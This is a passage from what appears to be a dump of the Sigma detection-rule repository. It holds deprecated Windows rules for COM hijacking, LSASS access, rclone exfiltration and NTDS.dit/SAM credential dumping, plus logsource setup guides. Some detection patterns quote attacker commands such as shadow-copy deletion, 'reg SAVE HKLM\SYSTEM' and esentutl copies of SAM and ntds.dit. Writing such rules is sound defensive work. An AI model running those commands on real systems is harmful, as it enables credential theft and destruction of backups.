"content": "title: Potential Persistence Via COM Search Order Hijacking\nid: a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12\nrelated:\n - id: 790317c0-0a36-4a6a-a105-6e576bf99a14\n type: derived\nstatus: deprecated\ndescription: Detects potential COM object hijacking leveraging the COM Search Order\nreferences:\n - https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/\nauthor: Maxime Thiebaut (@0xThiebaut), oscd.community, Cédric Hien\ndate: 2020-04-14\nmodified: 2024-09-02\ntags:\n - attack.persistence\n - attack.t1546.015\nlogsource:\n category: registry_set\n product: windows\ndetection:\n selection: # Detect new COM servers in the user hive\n TargetObject|contains: '\\CLSID\\'\n TargetObject|endswith: '\\InprocServer32\\(Default)'\n filter_main_generic:\n Details|contains: # Exclude privileged directories and observed FPs\n - '%%systemroot%%\\system32\\'\n - '%%systemroot%%\\SysWow64\\'\n filter_main_onedrive:\n Details|contains:\n # Related To OneDrive\n - '\\AppData\\Local\\Microsoft\\OneDrive\\'\n - '\\FileCoAuthLib64.dll'\n - '\\FileSyncShell64.dll'\n - '\\FileSyncApi64.dll'\n filter_main_health_service:\n Image|endswith: ':\\WINDOWS\\system32\\SecurityHealthService.exe'\n filter_main_teams:\n Details|contains|all:\n - '\\AppData\\Local\\Microsoft\\TeamsMeetingAddin\\'\n - '\\Microsoft.Teams.AddinLoader.dll'\n filter_main_dropbox:\n Details|contains|all:\n - '\\AppData\\Roaming\\Dropbox\\'\n - '\\DropboxExt64.*.dll'\n filter_main_trend_micro:\n Details|endswith: 'TmopIEPlg.dll' # TrendMicro osce\n filter_main_update:\n Image|endswith:\n - ':\\WINDOWS\\system32\\wuauclt.exe'\n - ':\\WINDOWS\\system32\\svchost.exe'\n filter_main_defender:\n Image|contains:\n - ':\\ProgramData\\Microsoft\\Windows Defender\\Platform\\'\n - ':\\Program Files\\Windows Defender\\'\n Image|endswith: '\\MsMpEng.exe'\n filter_main_nvidia:\n Details|contains: '\\FileRepository\\nvmdi.inf'\n filter_main_edge:\n Image|endswith: '\\MicrosoftEdgeUpdateComRegisterShell64.exe'\n filter_main_dx:\n Image|endswith: ':\\WINDOWS\\SYSTEM32\\dxdiag.exe'\n filter_main_python:\n Details|endswith:\n - ':\\Windows\\pyshellext.amd64.dll'\n - ':\\Windows\\pyshellext.dll'\n filter_main_bonjourlib:\n Details|endswith:\n - ':\\Windows\\system32\\dnssdX.dll'\n - ':\\Windows\\SysWOW64\\dnssdX.dll'\n filter_main_printextensionmanager:\n Details|endswith: ':\\Windows\\system32\\spool\\drivers\\x64\\3\\PrintConfig.dll'\n filter_main_programfiles:\n Details|contains:\n - ':\\Program Files\\'\n - ':\\Program Files (x86)\\'\n filter_main_programdata:\n Details|contains: ':\\ProgramData\\Microsoft\\'\n filter_main_gameservice:\n Details|contains: ':\\WINDOWS\\system32\\GamingServicesProxy.dll'\n filter_main_poqexec:\n Image|endswith: ':\\Windows\\System32\\poqexec.exe'\n Details|contains: ':\\Windows\\System32\\Autopilot.dll'\n filter_main_sec_health_svc:\n Image|endswith: ':\\Windows\\system32\\SecurityHealthService.exe'\n Details|contains: ':\\Windows\\System32\\SecurityHealth'\n filter_main_inprocserver:\n Image|endswith:\n - ':\\Windows\\System32\\poqexec.exe'\n - ':\\Windows\\System32\\regsvr32.exe'\n TargetObject|endswith: '\\InProcServer32\\(Default)'\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level\nlevel: medium\n"
},
{
"path": "deprecated/windows/registry_set_silentprocessexit.yml",
"content": "title: SilentProcessExit Monitor Registration\nid: c81fe886-cac0-4913-a511-2822d72ff505\nstatus: deprecated\ndescription: Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process\nreferences:\n - https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/\n - https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/\nauthor: Florian Roth (Nextron Systems)\ndate: 2021/02/26\nmodified: 2023/08/17\ntags:\n - attack.persistence\n - attack.t1546.012\nlogsource:\n category: registry_set\n product: windows\ndetection:\n selection:\n TargetObject|contains: 'Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'\n Details|contains: 'MonitorProcess'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml",
"content": "title: Accessing WinAPI in PowerShell for Credentials Dumping\nid: 3f07b9d1-2082-4c56-9277-613a621983cc\nstatus: deprecated\ndescription: Detects Accessing to lsass.exe by Powershell\nreferences:\n - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse\nauthor: oscd.community, Natalia Shornikova\ndate: 2020/10/06\nmodified: 2022/12/18\ntags:\n - attack.credential_access\n - attack.t1003.001\nlogsource:\n product: windows\n service: sysmon\ndetection:\n selection:\n EventID:\n - 8\n - 10\n SourceImage|endswith:\n - '\\powershell.exe'\n - '\\pwsh.exe'\n TargetImage|endswith: '\\lsass.exe'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/sysmon_dcom_iertutil_dll_hijack.yml",
"content": "title: DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon\nid: e554f142-5cf3-4e55-ace9-a1b59e0def65\nstatus: deprecated\ndescription: Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.\nreferences:\n - https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html\nauthor: Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga\ndate: 2020/10/12\nmodified: 2022/12/18\ntags:\n - attack.lateral_movement\n - attack.t1021.002\n - attack.t1021.003\nlogsource:\n product: windows\n service: sysmon\ndetection:\n selection_one:\n EventID: 11\n Image: System\n TargetFilename|endswith: '\\Internet Explorer\\iertutil.dll'\n selection_two:\n EventID: 7\n Image|endswith: '\\Internet Explorer\\iexplore.exe'\n ImageLoaded|endswith: '\\Internet Explorer\\iertutil.dll'\n condition: 1 of selection_*\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/sysmon_mimikatz_detection_lsass.yml",
"content": "title: Mimikatz Detection LSASS Access\nid: 0d894093-71bc-43c3-8c4d-ecfc28dcf5d9\nstatus: deprecated\ndescription: Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION \"only old\n versions\", 0x0010 PROCESS_VM_READ)\nreferences:\n - https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow\n - https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html\ntags:\n - attack.t1003\n - attack.s0002\n - attack.credential_access\n - car.2019-04-004\nauthor: Sherif Eldeeb\ndate: 2017/10/18\nmodified: 2022/04/11\nlogsource:\n product: windows\n category: process_access\ndetection:\n selection:\n TargetImage|endswith: '\\lsass.exe'\n GrantedAccess:\n - '0x1410'\n - '0x1010'\n - '0x410'\n filter:\n SourceImage|startswith: \n - 'C:\\Program Files\\WindowsApps\\'\n - 'C:\\Windows\\System32\\'\n SourceImage|endswith: '\\GamingServices.exe'\n condition: selection and not filter\nfields:\n - ComputerName\n - User\n - SourceImage\nfalsepositives:\n - Some security products access LSASS in this way.\nlevel: high\n"
},
{
"path": "deprecated/windows/sysmon_powershell_execution_moduleload.yml",
"content": "title: PowerShell Execution\nid: 867613fb-fa60-4497-a017-a82df74a172c\ndescription: Detects execution of PowerShell\nstatus: deprecated\ndate: 2019/09/12\nmodified: 2021/11/05\nauthor: Roberto Rodriguez @Cyb3rWard0g\nreferences:\n - https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html\ntags:\n - attack.execution\n - attack.t1086 # an old one\n - attack.t1059.001\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection: \n Description: 'System.Management.Automation'\n ImageLoaded|contains: 'System.Management.Automation'\n condition: selection\nfields:\n - ComputerName\n - Image\n - ProcessID\n - ImageLoaded\nfalsepositives:\n - Unknown\nlevel: medium"
},
{
"path": "deprecated/windows/sysmon_rclone_execution.yml",
"content": "title: RClone Execution\nid: a0d63692-a531-4912-ad39-4393325b2a9c\nstatus: deprecated\ndescription: Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc\ntags:\n - attack.exfiltration\n - attack.t1567.002\nauthor: Bhabesh Raj, Sittikorn S\ndate: 2021/05/10\nmodified: 2022/04/11\nreferences:\n - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware\n - https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a\n - https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone\n - https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html\nfields:\n - CommandLine\n - ParentCommandLine\n - Details\nfalsepositives:\n - Legitimate RClone use\nlevel: high\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Description: 'Rsync for cloud storage'\n selection2:\n CommandLine|contains|all:\n - '--config '\n - '--no-check-certificate '\n - ' copy '\n selection3:\n Image|endswith:\n - '\\rclone.exe'\n CommandLine|contains:\n - 'mega'\n - 'pcloud'\n - 'ftp'\n - '--progress'\n - '--ignore-existing'\n - '--auto-confirm'\n - '--transfers'\n - '--multi-thread-streams'\n condition: 1 of selection*\n"
},
{
"path": "deprecated/windows/win_defender_disabled.yml",
"content": "title: Windows Defender Threat Detection Disabled\nid: fe34868f-6e0e-4882-81f6-c43aa8f15b62\nstatus: deprecated\ndescription: Detects disabling Windows Defender threat protection\nreferences:\n - https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md\nauthor: Ján Trenčanský, frack113\ndate: 2020/07/28\nmodified: 2023/11/22\ntags:\n - attack.defense_evasion\n - attack.t1562.001\nlogsource:\n product: windows\n service: windefend\ndetection:\n selection:\n EventID:\n - 5001 # Real-time protection is disabled.\n - 5010 # Scanning for malware and other potentially unwanted software is disabled.\n - 5012 # Scanning for viruses is disabled.\n - 5101 # The antimalware platform is expired.\n condition: selection\nfalsepositives:\n - Administrator actions (should be investigated)\n - Seen being triggered occasionally during Windows 8 Defender Updates\nlevel: high\n"
},
{
"path": "deprecated/windows/win_dsquery_domain_trust_discovery.yml",
"content": "title: Domain Trust Discovery\nid: 77815820-246c-47b8-9741-e0def3f57308\nstatus: deprecated\ndescription: Detects a discovery of domain trusts.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1482/T1482.md\nauthor: Jakob Weinzettl, oscd.community\ndate: 2019/10/23\nmodified: 2023/02/04\ntags:\n - attack.discovery\n - attack.t1482\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n - Image|endswith: '\\dsquery.exe'\n CommandLine|contains|all:\n - '-filter'\n - 'trustedDomain'\n - Image|endswith: '\\nltest.exe'\n CommandLine|contains: 'domain_trusts'\n condition: selection\nfalsepositives:\n - Administration of systems.\nlevel: medium\n"
},
{
"path": "deprecated/windows/win_lateral_movement_condrv.yml",
"content": "title: Lateral Movement Indicator ConDrv\nid: 29d31aee-30f4-4006-85a9-a4a02d65306c\nstatus: deprecated #Too many FP\ndescription: This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context.\nauthor: Janantha Marasinghe\ndate: 2021/04/27\nmodified: 2022/05/14\nreferences:\n - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/wmiexec-vbs.htm\n - https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html\ntags:\n - attack.lateral_movement\n - attack.execution\n - attack.t1021\n - attack.t1059\nlogsource:\n product: windows\n service: security\ndetection:\n selection:\n EventID: 4674\n ObjectServer: 'Security'\n ObjectType: 'File'\n ObjectName: '\\Device\\ConDrv'\n condition: selection\nfalsepositives:\n - Legal admin action\nlevel: low\n"
},
{
"path": "deprecated/windows/win_security_event_log_cleared.yml",
"content": "title: Security Event Log Cleared\nid: a122ac13-daf8-4175-83a2-72c387be339d\nstatus: deprecated\ndescription: Checks for event id 1102 which indicates the security event log was cleared.\nreferences:\n - https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml\nauthor: Saw Winn Naung\ndate: 2021/08/15\nmodified: 2023/12/06\ntags:\n - attack.t1070.001\nlogsource:\n service: security\n product: windows\ndetection:\n selection:\n EventID: 1102\n Provider_Name: Microsoft-Windows-Eventlog\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nfields:\n - SubjectLogonId\n - SubjectUserName\n - SubjectUserSid\n - SubjectDomainName\nlevel: medium\n"
},
{
"path": "deprecated/windows/win_security_group_modification_logging.yml",
"content": "title: Group Modification Logging\nid: 9cf01b6c-e723-4841-a868-6d7f8245ca6e\nstatus: deprecated\ndescription: |\n Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\n Sigma detects\n Event ID 4728 indicates a \"Member is added to a Security Group\".\n Event ID 4729 indicates a \"Member is removed from a Security enabled-group\".\n Event ID 4730 indicates a \"Security Group is deleted\".\n The case is not applicable for Unix OS.\n Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\nreferences:\n - https://www.cisecurity.org/controls/cis-controls-list/\n - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf\n - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf\n - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728\n - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729\n - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730\n - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633\n - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632\n - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634\nauthor: Alexandr Yampolskyi, SOC Prime\ndate: 2019/03/26\nmodified: 2023/04/26\n# tags:\n # - CSC4\n # - CSC4.8\n # - NIST CSF 1.1 PR.AC-4\n # - NIST CSF 1.1 PR.AT-2\n # - NIST CSF 1.1 PR.MA-2\n # - NIST CSF 1.1 PR.PT-3\n # - ISO 27002-2013 A.9.1.1\n # - ISO 27002-2013 A.9.2.2\n # - ISO 27002-2013 A.9.2.3\n # - ISO 27002-2013 A.9.2.4\n # - ISO 27002-2013 A.9.2.5\n # - ISO 27002-2013 A.9.2.6\n # - ISO 27002-2013 A.9.3.1\n # - ISO 27002-2013 A.9.4.1\n # - ISO 27002-2013 A.9.4.2\n # - ISO 27002-2013 A.9.4.3\n # - ISO 27002-2013 A.9.4.4\n # - PCI DSS 3.2 2.1\n # - PCI DSS 3.2 7.1\n # - PCI DSS 3.2 7.2\n # - PCI DSS 3.2 7.3\n # - PCI DSS 3.2 8.1\n # - PCI DSS 3.2 8.2\n # - PCI DSS 3.2 8.3\n # - PCI DSS 3.2 8.7\nlogsource:\n product: windows\n service: security\ndetection:\n selection:\n EventID:\n - 4728 # A member was added to a security-enabled global group\n - 4729 # A member was removed from a security-enabled global group\n - 4730 # A security-enabled global group was deleted\n - 633 # Security Enabled Global Group Member Removed\n - 632 # Security Enabled Global Group Member Added\n - 634 # Security Enabled Global Group Deleted\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "deprecated/windows/win_security_lolbas_execution_of_nltest.yml",
"content": "title: Correct Execution of Nltest.exe\nid: eeb66bbb-3dde-4582-815a-584aee9fe6d1\nstatus: deprecated\ndescription: The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.\nreferences:\n - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm\n - https://attack.mitre.org/software/S0359/\nauthor: Arun Chauhan\ndate: 2021/10/04\nmodified: 2023/02/02\ntags:\n - attack.discovery\n - attack.t1482 # enumerate trusted domains by using commands such as nltest /domain_trusts\n - attack.t1018 # enumerate remote domain controllers using options such as /dclist and /dsgetdc\n - attack.t1016 # enumerate the parent domain of a local machine using /parentdomain\nlogsource:\n product: windows\n service: security\ndetection:\n selection:\n EventID: 4689\n ProcessName|endswith: 'nltest.exe'\n Status: '0x0'\n condition: selection\nfields:\n - 'SubjectUserName'\n - 'SubjectDomainName'\nfalsepositives:\n - Red team activity\n - Rare legitimate use by an administrator\nlevel: high\n"
},
{
"path": "deprecated/windows/win_security_windows_defender_exclusions_write_deleted.yml",
"content": "title: Windows Defender Exclusion Deleted\nid: a33f8808-2812-4373-ae95-8cfb82134978\nrelated:\n - id: e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d\n type: derived\n - id: 46a68649-f218-4f86-aea1-16a759d81820\n type: derived\nstatus: deprecated\ndescription: |\n Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions\nreferences:\n - https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/\nauthor: '@BarryShooshooga'\ndate: 2019-10-26\nmodified: 2025-01-30\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: windows\n service: security\n definition: 'Requirements: Audit Policy : Security Settings/Local Policies/Audit Policy, Registry System Access Control (SACL): Auditing/User'\ndetection:\n selection:\n EventID: 4660 # An object was deleted.\n ObjectName|contains: '\\Microsoft\\Windows Defender\\Exclusions\\'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/win_susp_esentutl_activity.yml",
"content": "title: Suspicious Esentutl Use\nid: 56a8189f-11b2-48c8-8ca7-c54b03c2fbf7\nstatus: deprecated\ndescription: Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance. \nauthor: Florian Roth (Nextron Systems)\ndate: 2020/05/23\nmodified: 2022/04/11\nreferences:\n - https://lolbas-project.github.io/\n - https://twitter.com/chadtilbury/status/1264226341408452610\ntags:\n - attack.defense_evasion\n - attack.execution\n - attack.s0404\n - attack.t1218\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains|all:\n - ' /vss '\n - ' /y '\n condition: selection\nfields:\n - CommandLine\n - ParentCommandLine\nfalsepositives:\n - Administrative activity\nlevel: high\n"
},
{
"path": "deprecated/windows/win_susp_rclone_exec.yml",
"content": "title: Rclone Execution via Command Line or PowerShell\nid: cb7286ba-f207-44ab-b9e6-760d82b84253\ndescription: Detects Rclone which is commonly used by ransomware groups for exfiltration\nstatus: deprecated\ndate: 2021/05/26\nmodified: 2022/04/11\nauthor: Aaron Greetham (@beardofbinary) - NCC Group\nreferences:\n - https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/\ntags:\n - attack.exfiltration\n - attack.t1567.002\nfalsepositives:\n - Legitimate Rclone usage (rare)\nlevel: high\nlogsource:\n product: windows\n category: process_creation\ndetection:\n exec_selection:\n Image|endswith: '\\rclone.exe'\n ParentImage|endswith:\n - '\\PowerShell.exe'\n - '\\cmd.exe'\n command_selection:\n CommandLine|contains:\n - ' pass '\n - ' user '\n - ' copy '\n - ' mega '\n - ' sync '\n - ' config '\n - ' lsd '\n - ' remote '\n - ' ls '\n description_selection:\n Description: 'Rsync for cloud storage'\n condition: command_selection and ( description_selection or exec_selection )\n"
},
{
"path": "deprecated/windows/win_susp_vssadmin_ntds_activity.yml",
"content": "title: Activity Related to NTDS.dit Domain Hash Retrieval\nid: b932b60f-fdda-4d53-8eda-a170c1d97bbd\nstatus: deprecated\ndescription: Detects suspicious commands that could be related to activity that uses volume shadow copy to steal and retrieve hashes from the NTDS.dit file remotely\nauthor: Florian Roth (Nextron Systems), Michael Haag\ndate: 2019/01/16\nmodified: 2022/04/11\nreferences:\n - https://www.swordshield.com/2015/07/getting-hashes-from-ntds-dit-file/\n - https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/\n - https://www.trustwave.com/Resources/SpiderLabs-Blog/Tutorial-for-NTDS-goodness-(VSSADMIN,-WMIS,-NTDS-dit,-SYSTEM)/\n - https://securingtomorrow.mcafee.com/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/\n - https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/\ntags:\n - attack.credential_access\n - attack.t1003\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine:\n - 'vssadmin.exe Delete Shadows'\n - 'vssadmin create shadow /for=C:'\n - 'copy \\\\?\\GLOBALROOT\\Device\\\\*\\windows\\ntds\\ntds.dit'\n - 'copy \\\\?\\GLOBALROOT\\Device\\\\*\\config\\SAM'\n - 'vssadmin delete shadows /for=C:'\n - 'reg SAVE HKLM\\SYSTEM '\n - 'esentutl.exe /y /vss *\\ntds.dit*'\n - 'esentutl.exe /y /vss *\\SAM'\n - 'esentutl.exe /y /vss *\\SYSTEM'\n condition: selection\nfields:\n - CommandLine\n - ParentCommandLine\nfalsepositives:\n - Administrative activity\nlevel: high\n"
},
{
"path": "deprecated/windows/win_system_service_install_susp_double_ampersand.yml",
"content": "title: New Service Uses Double Ampersand in Path\nid: ca83e9f3-657a-45d0-88d6-c1ac280caf53\nstatus: deprecated\ndescription: Detects a service installation that uses a suspicious double ampersand used in the image path value\nreferences:\n - Internal Research\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/07/05\nmodified: 2023/11/15\ntags:\n - attack.defense_evasion\n - attack.t1027\nlogsource:\n product: windows\n service: system\ndetection:\n selection:\n Provider_Name: 'Service Control Manager'\n EventID: 7045\n ImagePath|contains: '&&'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/win_system_susp_sam_dump.yml",
"content": "title: SAM Dump to AppData\nid: 839dd1e8-eda8-4834-8145-01beeee33acd\nstatus: deprecated\ndescription: Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers\nauthor: Florian Roth (Nextron Systems)\ndate: 2018/01/27\nmodified: 2024/01/18\ntags:\n - attack.credential_access\n - attack.t1003.002\nlogsource:\n product: windows\n service: system\n definition: The source of this type of event is Kernel-General\ndetection:\n selection:\n Provider_Name: Microsoft-Windows-Kernel-General\n EventID: 16\n keywords:\n '|all':\n - '\\AppData\\Local\\Temp\\SAM-'\n - '.dmp'\n condition: selection and keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "documentation/README.md",
"content": ""
},
{
"path": "documentation/logsource-guides/other/antivirus.md",
"content": "**Coming Soon**"
},
{
"path": "documentation/logsource-guides/windows/category/process_creation.md",
"content": "# category: process_creation\n\nID: 2ff912e8-159f-4789-a2ef-761292b32a23\n\n## Content\n\n\n Expand
\n\n- [category: process\\_creation](#category-process_creation)\n - [Content](#content)\n - [Description](#description)\n - [Event Source(s)](#event-sources)\n - [Logging Setup](#logging-setup)\n - [Microsoft Windows Security Auditing](#microsoft-windows-security-auditing)\n - [Process Creation](#process-creation)\n - [Include Command-Line In Process Creation Events](#include-command-line-in-process-creation-events)\n - [Microsoft-Windows-Sysmon](#microsoft-windows-sysmon)\n - [Process Creation](#process-creation-1)\n - [Event Fields](#event-fields)\n - [Provider: Microsoft Windows Security Auditing / EventID: 4688](#provider-microsoft-windows-security-auditing--eventid-4688)\n - [Provider: Microsoft-Windows-Sysmon / EventID: 1](#provider-microsoft-windows-sysmon--eventid-1)\n\n \n\n## Description\n\nThis logsource guide describes how to enable the necessary logging to make use of SIGMA rules that leverage the `process_creation` category.\n\n## Event Source(s)\n\nThis section describes the event source(s) that are required to be collected in order to receive the events used by the `process_creation` category detection rules\n\n```yml\nProvider: Microsoft Windows Security Auditing\nGUID: {54849625-5478-4994-a5ba-3e3b0328c30d}\nChannel: Security\nEventID: 4688\n```\n\n```yml\nProvider: Microsoft-Windows-Sysmon\nGUID: {5770385f-c22a-43e0-bf4c-06f5698ffbd9}\nChannel: Microsoft-Windows-Sysmon/Operational\nEventID: 1\n```\n\n## Logging Setup\n\nThis section describes how to setup logging in your environment\n\n### Microsoft Windows Security Auditing\n\n#### Process Creation\n\n- Subcategory GUID: `{0CCE922B-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- EventID(s):\n - `4688`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Detailed Tracking\n - Audit Process Creation\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922B-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922B-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-process-creation)\n\n#### Include Command-Line In Process Creation Events\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Administrative Templates\n - System\n - Audit Process Creation\n - Include Command Line In Process Creation Events\n```\n\n### Microsoft-Windows-Sysmon\n\n#### Process Creation\n\n- Provider: `Microsoft-Windows-Sysmon`\n- Channel: `Microsoft-Windows-Sysmon/Operational`\n- Event Volume: `High`\n- EventID(s):\n - `1`\n\nTo configure Sysmon process creation events you can follow the instructions below\n\n- Download [Sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon)\n- Install Sysmon using an appropriate configuration. The configuration must include a `` element. We recommend the following configuration [sysmonconfig-export.xml](https://github.com/Neo23x0/sysmon-config/blob/master/sysmonconfig-export.xml).\n\n```powershell\nsysmon -i /path/to/config\n```\n\n## Event Fields\n\n> **Note**\n>\n> For rules using this category in SIGMA. Know that there is a mapping between `Sysmon EID 1` fields and `Microsoft Windows Security Auditing EID: 4688`. While you can use the fields of `EID 4688` it's best to use the Sysmon ones.\n\n### Provider: Microsoft Windows Security Auditing / EventID: 4688\n\n\n Expand
\n\n```yml\n- SubjectUserSid\n- SubjectUserName\n- SubjectDomainName\n- SubjectLogonId\n- NewProcessId\n- NewProcessName\n- TokenElevationType\n- ProcessId\n- CommandLine\n- TargetUserSid\n- TargetUserName\n- TargetDomainName\n- TargetLogonId\n- ParentProcessName\n- MandatoryLabel\n```\n\n \n\n### Provider: Microsoft-Windows-Sysmon / EventID: 1\n\n\n Expand
\n\n```yml\n- RuleName\n- UtcTime\n- ProcessGuid\n- ProcessId\n- Image\n- FileVersion\n- Description\n- Product\n- Company\n- OriginalFileName\n- CommandLine\n- CurrentDirectory\n- User\n- LogonGuid\n- LogonId\n- TerminalSessionId\n- IntegrityLevel\n- Hashes\n- ParentProcessGuid\n- ParentProcessId\n- ParentImage\n- ParentCommandLine\n- ParentUser\n```\n\n \n"
},
{
"path": "documentation/logsource-guides/windows/category/ps_module.md",
"content": "# category: ps_module\n\nID: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b\n\n## Content\n\n\n Expand
\n\n- [category: ps\\_module](#category-ps_module)\n - [Content](#content)\n - [Description](#description)\n - [Event Source(s)](#event-sources)\n - [PowerShell 5](#powershell-5)\n - [PowerShell 7](#powershell-7)\n - [Logging Setup](#logging-setup)\n - [Microsoft-Windows-PowerShell](#microsoft-windows-powershell)\n - [Provider: PowerShellCore](#provider-powershellcore)\n - [Event Fields](#event-fields)\n - [Provider: Microsoft-Windows-PowerShell / EventID: 4103 (PowerShell 5)](#provider-microsoft-windows-powershell--eventid-4103-powershell-5)\n - [Provider: PowerShellCore / EventID: 4103 (PowerShell 7)](#provider-powershellcore--eventid-4103-powershell-7)\n\n \n\n## Description\n\nThis logsource guide describes how to enable the necessary logging to make use of SIGMA rules that leverage the `ps_module` category.\n\n## Event Source(s)\n\n### PowerShell 5\n\n```yml\nProvider: Microsoft-Windows-PowerShell\nGUID: {a0c1853b-5c40-4b15-8766-3cf1c58f985a}\nChannel: Microsoft-Windows-PowerShell/Operational\nEventID: 4103\n```\n\n### PowerShell 7\n\n```yml\nProvider: PowerShellCore\nGUID: {f90714a8-5509-434a-bf6d-b1624c8a19a2}\nChannel: PowerShellCore/Operational\nEventID: 4103\n```\n\n## Logging Setup\n\n### Microsoft-Windows-PowerShell\n\n- Event Volume: TBD\n- EventID(s):\n - `4103`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Administrative Templates\n - Windows Components\n - Windows PowerShell\n - Turn On Module Logging\n - Select List Of Modules According To Your Audit Policy (or use '*' to select all modules)\n```\n\n### Provider: PowerShellCore\n\n- Event Volume: TBD\n- EventID(s):\n - `4103`\n\nIf you're using 